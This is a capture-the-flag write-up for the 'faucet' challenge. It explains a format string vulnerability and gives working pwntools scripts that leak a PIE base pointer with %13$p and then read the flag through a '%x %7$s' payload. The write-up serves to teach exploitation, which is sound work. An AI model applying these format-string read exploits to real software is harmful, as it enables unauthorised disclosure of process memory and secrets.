faucet

faucet is a fairly simple format strings challenge that consists on leaking a variable containing the flag

Files

The binary

The program has a few features but the only one with any significance is the "Buy item" one, which reflects the user data with printf in a insecure way.

Format strings

The stack doesn't contain a pointer to the FLAG variable we want to leak, so we'll have to introduce that pointer. As far as the binary has pie enabled, the first step is to leak any pointer to the ELF in order to calculate the base offset.

#!/usr/bin/env python
from pwn import *

# Defitions
e = context.binary = ELF('./faucet',checksec=False)
context.log_level = 'critical'

for i in range(100):
    io = process(e.path)
    io.sendlineafter('> ','5')
    io.sendlineafter(': ','%' + str(i) + '$p')
    io.recvuntil('You have bought a ')
    print(str(i) + ': ' + io.recvline())
    io.close()

Almost immediately, pointers to the elf start popping, to confirm if any of the leaks is in the map we are targeting, we can simply attach gdb and test. Index 13 is a great candidate:

We've successfully leak an ELF address offset by 0x1725. Now we can start building a proper exploit.

By adding the offset of the flag variable (0x4060), we can predict the flag location at each run.

#!/usr/bin/env python
from pwn import *

# Defitions
e = context.binary = ELF('./faucet',checksec=False)

def leak_elf():
    leak = int(io.recvline().split('You have bought a ')[1],16)
    return leak - 0x1725

if args.REMOTE:
    io = remote('challenge.ctf.games',32147)
else:
    io = process(e.path)

io.sendlineafter('> ','5')
io.sendlineafter(': ','%13$p')
elfbase = leak_elf()
flag_addr = elfbase + 0x4060
print('[+]Flag address: ' + hex(flag_addr))

Now we can try to place a placeholder value in the stack and inspect it as a pointer with %p, by doing that, it's possible to figure out that by sending a %x to fix the stack alignment a %7$p we can read our placeholder value.

if you don't understand how this works, this video might help: https://www.youtube.com/watch?v=0WvrSfcdq1I

Notice that I'm sending the target value after the payload because I know that the address of the flag contains nullbytes due to 8 bytes alignment and that would prevent printf from parsing the payload.

Final Exploit

At this point we know that by replacing AAAABBBBB with the pointer to the flag and replacing %7$p with %7$s we'll leak the flag since printf will follow our pointer.

#!/usr/bin/env python
from pwn import *

# Defitions
e = context.binary = ELF('./faucet',checksec=False)

def leak_elf():
    leak = int(io.recvline().split('You have bought a ')[1],16)
    return leak - 0x1725

if args.REMOTE:
    io = remote('challenge.ctf.games',32147)
else:
    io = process(e.path)

io.sendlineafter('> ','5')
io.sendlineafter(': ','%13$p')
elfbase = leak_elf()
flag_addr = elfbase + 0x4060
print('[+]Flag address: ' + hex(flag_addr))

io.sendlineafter('> ','5')
io.sendlineafter(': ','%x %7$s ' + p64(flag_addr))
io.interactive()

Last updated